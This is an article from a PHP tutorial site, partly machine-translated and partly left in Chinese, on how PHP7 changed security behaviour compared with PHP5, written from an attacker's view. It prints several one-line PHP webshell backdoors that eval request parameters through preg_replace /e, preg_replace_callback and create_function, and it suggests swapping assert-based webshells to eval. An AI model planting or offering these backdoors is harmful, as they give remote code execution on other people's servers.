Everyone uses the \e modifier to execute code as a backdoor I have used it a lot, please see this official description for details:"/> Everyone uses the \e modifier to execute code as a backdoor I have used it a lot, please see this official description for details:">
Home > Article > Backend Development > Differences in security between PHP7 and PHP5 (example)
Function modification
preg_replace() no longer supports the /e modifier
<?php preg_replace("/.*/e",$_GET["h"],"."); ?>
Everyone uses the \e modifier to execute code as a backdoor I have used it a lot. Please refer to the official description for details:
如果设置了这个被弃用的修饰符, preg_replace() 在进行了对替换字符串的 后向引用替换之后, 将替换后的字符串作为php 代码评估执行(eval 函数方式),并使用执行结果 作为实际参与替换的字符串。单引号、双引号、反斜线()和 NULL 字符在 后向引用替换时会被用反斜线转义.
Unfortunately, the \e modifier is no longer supported in PHP7 and above versions. At the same time, the official gave us a new function preg_replace_callback:
Recommended Manual: PHP7 New Features Manual
Here we can use it as our backdoor with a slight change:
<?php preg_replace_callback("/.*/",function ($a){@eval($a[0]);},$_GET["h"]); ?>
create_function() is abandoned
<?php $func =create_function('',$_POST['cmd']);$func(); ?>
There is one less function that can be used as a backdoor. In fact, it is implemented by executing eval. Dispensable.
Mysql_* series members have been removed
If you want to use the old version of mysql_* series functions on PHP7, you need to install additional ones yourself. The official website is not here Yes, the official recommendation now is mysqli or pdo_mysql. Does this herald a significant reduction in SQL injection vulnerabilities in PHP in the future~
我已经很久没在目标站上挖到过sql注入了,全都是预编译!
unserialize() adds an optional whitelist parameter
$data = unserialize($serializedObj1 , ["allowed_classes" => true]); $data2 = unserialize($serializedObj2 , ["allowed_classes" => ["MyClass1", "MyClass2"]]);
is actually a whitelist list. If the class name in the deserialized data is not in this white list, an error will be reported.
Error reports like this!
It can be a class name or Boolean data. If it is FALSE, all objects will be converted into __PHP_Incomplete_Class objects. TRUE is unlimited. You can also pass in a class name to implement a whitelist.
还好现在是可选不是必选,要是默认FALSE逼程序员弄白名单那就真的吐血了。
assert() can no longer execute code by default
This is the culprit why many horses cannot be used. Too many horses use assert() to execute code. , this update basically wipes out the whole group. Under normal circumstances, changing it to eval can run normally~
Syntax modification
foreach no longer changes the internal array pointer
<?php $a = array('1','2','3'); foreach ($a as $k=>&$n){ echo ""; } print_r($a); foreach ($a as $k=>$n){ echo ""; } print_r($a);
Such code in php5 has the following execution result:
Because the last element of the array The $value reference will still be retained after the foreach loop. During the second loop, the previous pointer is actually continuously assigned. When traversing by value in php7, the value of the operation is a copy of the array and will no longer affect subsequent operations.
This change affects some cms holes that cannot be used on PHP7... You know which hole I am referring to.
这个问题在PHP7.0.0以后的版本又被改回去了,只影响这一个版本。
The fault tolerance rate of octal characters is reduced
In the php5 version, if an octal character contains invalid digits, the invalid digits will be silently truncated.
<?php echo octdec( '012999999999999' ) . "\n"; echo octdec( '012' ) . "\n"; if (octdec( '012999999999999' )==octdec( '012' )){ echo ": )". "\n"; }
For example, the execution result of this code in php5 is as follows:
But it will trigger a parsing error in php7.
这个问题同样在PHP7.0.0以后的版本又被改回去了,只影响这一个版本。
Hexadecimal strings are no longer considered numbers
Once this change is made, there will be a lot less CTF routines in the future~
Many cool operations can no longer be used~
There is nothing to say about this, everyone knows it.
<?php var_dump("0x123" == "291"); var_dump(is_numeric("0x123")); var_dump("0xe" + "0x1"); var_dump(substr("foo", "0x1")); ?>
The results of the above code running in PHP5 are as follows:
The running results of PHP7 are as follows:
你以为我要说这个在后续版本被改回去了?不,目前截至最新的PHP7.3版本依然没有改回去的征兆,官方称不会在改了。这个讲道理还是蛮伤的。
Removed ASP and script PHP tags
Now only
字面意思,影响其实不是很大(只是以后骚套路会少一点)。
Oversized floating point number type conversion truncation
When converting a floating point number to an integer, if the floating point value is too large to be expressed as an integer, In the PHP5 version, the conversion will truncate the integer directly and will not cause an error. In PHP7, an error will be reported.
CTF又少一个出题套路,这个问题我只在CTF上见过,影响应该不大。
Miscellaneous
exec(), system() passthru()函数对 NULL 增加了保护. list()不再能解开字符串string变量 $HTTP_RAW_POST_DATA 被移除 __autoload() 方法被废弃 parse_str() 不加第二个参数会直接把字符串导入当前的符号表,如果加了就会转换称一个数组。现在是第二个参数是强行选项了。 统一不同平台下的整型长度 session_start() 可以加入一个数组覆盖php.ini的配置
相关文章推荐:
1.php7和php5有什么不同之处?php5与php7之间的对比
2.PHP5.5至PHP7.2 新特性整理
3.php7的垃圾回收和php5有什么区别
相关视频推荐:
1.独孤九贱(4)_PHP视频教程
相关推荐:《PHP教程》
本篇文章就是关于PHP7和PHP5在安全上的区别介绍,希望对需要的朋友有所帮助!
The above is the detailed content of Differences in security between PHP7 and PHP5 (example). For more information, please follow other related articles on the PHP Chinese website!